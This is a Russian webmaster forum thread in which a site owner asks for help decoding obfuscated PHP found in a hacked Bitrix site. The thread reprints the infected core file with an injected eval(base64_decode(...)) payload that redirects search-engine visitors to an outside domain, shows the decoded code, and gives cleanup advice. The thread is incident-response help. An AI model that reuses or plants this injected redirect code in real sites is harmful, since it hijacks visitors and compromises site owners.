Помогите раскодировать.

profAleks
На сайте с 17.04.2010
Offline
35
4818

Здравствуйте.

Столкнулись с проблемой.

Есть сайт на Bitrix, крутится на VPS Linux Debian.

Сегодня на сайте был обнаружен вреденосный код, антивирус Касперского выдал:

URL-адрес , содержащий вредоносную программу, запрещен

В одном из файлов PHP был обнаружен код:


fputs($fp, "<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwogJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKIGlmICghJHFhenBsbSl7CiAkcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiAkdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKIGlmICgkdWFnKSB7CiBpZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CiBpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewogICAgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL21hcnRoYW1pby5jdS5jYy8iKTsKZXhpdCgpOwp9Cn0KCSAgICB9CgkJfQ==")); \$saved_time=".intval(time()+$date_diff).";?>");

Вопрос собственно такой - помогите раскодировать данный фрагмент кода.

Заранее благодарен.

Справочник Total Hardware 1999 (http://radiodelta.ru)
AS
На сайте с 16.07.2009
Offline
16
#1

error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: "); exit(); } } } }
profAleks
На сайте с 17.04.2010
Offline
35
#2

Спасибо.

Я в PHP не силен, что делает данный код ?

DV
На сайте с 01.05.2010
Offline
644
#3

error_reporting(0);

$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: ");
exit();
}
}
}
}
VDS хостинг ( http://clck.ru/0u97l ) Нет нерешаемых задач ( https://searchengines.guru/ru/forum/806725 ) | Перенос сайтов на Drupal 7 с любых CMS. ( https://searchengines.guru/ru/forum/531842/page6#comment_10504844 )
[umka]
На сайте с 25.05.2008
Offline
456
#4
profAleks:
Спасибо.
Я в PHP не силен, что делает данный код ?

Ошибочка вышла )

Данный код перекидывает посетителей, пришедших с поисковых систем, на

Лог в помощь!
profAleks
На сайте с 17.04.2010
Offline
35
#5

Вообщем, сидим разбираемся.

Ситуация пока такая: когда удаляем данный код из PHP файла, то все нормально.

Но через 15 минут он восстанавливается.

Права на файл стоят 644.

Файл расположен по адресу: /var/www/ftpnew/data/www/schekino.ru/bitrix/modules/main/classes/mysql

код самого файла:


<?
/*
##############################################
# Bitrix Site Manager #
# Copyright (c) 2002-2007 Bitrix #
# http://www.bitrixsoft.com #
# mailto:admin@bitrixsoft.com #
##############################################
*/
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/classes/general/agent.php");

class CAgent extends CAllAgent
{
function CheckAgents()
{
global $DB, $DOCUMENT_ROOT;

$uniq = COption::GetOptionString("main", "server_uniq_id", "");
if(strlen($uniq)<=0)
{
$uniq = md5(uniqid(rand(), true));
COption::SetOptionString("main", "server_uniq_id", $uniq);
}

$agents_use_crontab = COption::GetOptionString("main", "agents_use_crontab", "N");
$str_crontab = "";
if($agents_use_crontab=="Y" || (defined("BX_CRONTAB_SUPPORT") && BX_CRONTAB_SUPPORT===true))
{
if(defined("BX_CRONTAB") && BX_CRONTAB===true)
$str_crontab = " AND IS_PERIOD='N' ";
else
$str_crontab = " AND IS_PERIOD='Y' ";
}

if(CACHED_b_agent!==false)
{
if(file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/managed_cache/".$DB->type."/b_agent"))
{
include($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/managed_cache/".$DB->type."/b_agent");
if(time()<$saved_time)
return "";
}
}

$strSql = "SELECT 'x' FROM b_agent ".
"WHERE ACTIVE='Y' AND NEXT_EXEC<=now() ".
" AND (DATE_CHECK IS NULL OR DATE_CHECK<=now()) ".
$str_crontab.
"LIMIT 1";

$db_result_agents = $DB->Query($strSql);
if($db_result_agents->Fetch())
{
$db_lock = $DB->Query("SELECT GET_LOCK('".$uniq."_agent', 0) as L");
$ar_lock = $db_lock->Fetch();
if($ar_lock["L"]=="0")
return "";
}
else
{
if(CACHED_b_agent!==false)
{
$fp = @fopen($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/managed_cache/".$DB->type."/b_agent", "w");
if($fp)
{
$rs = $DB->Query("SELECT UNIX_TIMESTAMP(MIN(NEXT_EXEC))-UNIX_TIMESTAMP(NOW()) DATE_DIFF FROM b_agent WHERE ACTIVE='Y'");
$ar = $rs->Fetch();
if(!$ar || $ar["DATE_DIFF"]<0)
$date_diff = 0;
elseif($ar["DATE_DIFF"]>CACHED_b_agent)
$date_diff = CACHED_b_agent;
else
$date_diff = $ar["DATE_DIFF"];
fputs($fp, "<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwogJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKIGlmICghJHFhenBsbSl7CiAkcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiAkdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKIGlmICgkdWFnKSB7CiBpZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CiBpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewogICAgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL21hcnRoYW1pby5jdS5jYy8iKTsKZXhpdCgpOwp9Cn0KCSAgICB9CgkJfQ==")); \$saved_time=".intval(time()+$date_diff).";?>");
fclose($fp);
}
}
return "";
}

//$DB->LockTables("b_agent WRITE");
$strSql=
"SELECT ID, NAME, AGENT_INTERVAL, IS_PERIOD, MODULE_ID ".
"FROM b_agent ".
"WHERE ACTIVE='Y' ".
" AND NEXT_EXEC<=now() ".
" AND (DATE_CHECK IS NULL OR DATE_CHECK<=now()) ".
$str_crontab.
" ORDER BY SORT desc";

$db_result_agents = $DB->Query($strSql);
$i = 0;
while($db_result_agents_array = $db_result_agents->Fetch())
{
if($i==0)
{
@set_time_limit(0);
ignore_user_abort(true);
$i=1;
}
$agents_array[] = $db_result_agents_array;
$strSql="UPDATE b_agent SET DATE_CHECK=DATE_ADD(IF(DATE_CHECK IS NULL, now(), DATE_CHECK), INTERVAL 600 SECOND) WHERE ID=".$db_result_agents_array["ID"];
$DB->Query($strSql);
}
//$DB->UnLockTables();
$DB->Query("SELECT RELEASE_LOCK('".$uniq."_agent')");

for($i=0; $i<count($agents_array); $i++)
{
$arAgent = $agents_array[$i];

@set_time_limit(0);

if(strlen($arAgent["MODULE_ID"])>0 && $arAgent["MODULE_ID"]!="main")
{
if(!CModule::IncludeModule($arAgent["MODULE_ID"]))
continue;
}

//эти переменные могут измениться в вызываемой функции
$pPERIOD = $arAgent["AGENT_INTERVAL"];

global $USER;
unset($USER);
$eval_result="";
eval("\$eval_result=".$arAgent["NAME"]);
unset($USER);

if(strlen($eval_result)<=0)
{
$strSql="DELETE FROM b_agent WHERE ID=".$arAgent["ID"];
}
else
{
if($arAgent["IS_PERIOD"]=="Y")
$strSql="UPDATE b_agent SET NAME='".$DB->ForSQL($eval_result, 2000)."', LAST_EXEC=now(), NEXT_EXEC=DATE_ADD(NEXT_EXEC, INTERVAL ".$pPERIOD." SECOND), DATE_CHECK=NULL WHERE ID=".$arAgent["ID"];
else
$strSql="UPDATE b_agent SET NAME='".$DB->ForSQL($eval_result, 2000)."', LAST_EXEC=now(), NEXT_EXEC=DATE_ADD(now(), INTERVAL ".$pPERIOD." SECOND), DATE_CHECK=NULL WHERE ID=".$arAgent["ID"];
}
$DB->Query($strSql);
}
}
}
?>

Когда используется зараженный файл, то браузер выдает ошибку, как я понимаю, связанную с тем, что не заэкранирована скобка.

Вопрос, с чем может быть связана постоянные изменения файла и может ли на сайте быть шелл ?

DV
На сайте с 01.05.2010
Offline
644
#6

Сервер весь ваш? Если да, закажите уж аудит безопасности.

Станислав
На сайте с 27.12.2009
Offline
258
#7

может шел, а может и доступ обычный к фтп есть у кого то, а может и в скрипте дырка какая то, смотрите логи, там все написано

Мы там, где рады нас видеть.
C
На сайте с 28.01.2010
Offline
70
#8

Ну как бы, в битриксе есть такая замечательная штука как контроль целостности, но если вы никогда его не делали, то уже поздно.

Ищите все файлы с поздней датой изменения/создания, может найдете шелл. Можно просмотреть серверный лог, поискать там post запросы, содержащие шелл-команды типа "ls", тоже можно найти шеллы, если они есть.

А вообще судя по "качеству внедрения" вируса могу предположить что вам заодно засунули агента, который этот файл с вирусным кодом и восстанавливает.

Это - личная подпись. Здесь обычно ставят ссылки на всякие кривые сайты, надеясь получить "жирный бек".
profAleks
На сайте с 17.04.2010
Offline
35
#9

Какие логи и в каких папках читать ?

VPS на Debian.

Заранее благодарен.

profAleks добавил 06.09.2011 в 12:45

Нашел.

Взлом был через устаревшую версию MySQL.

Использовали файл /PHPMyAdmin/scripts/setup.php

ссылка по теме

еще одна

Всем спасибо за поддержку.

profAleks добавил 06.09.2011 в 12:47

PHPMAdmin тоесть, а не MySQL.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий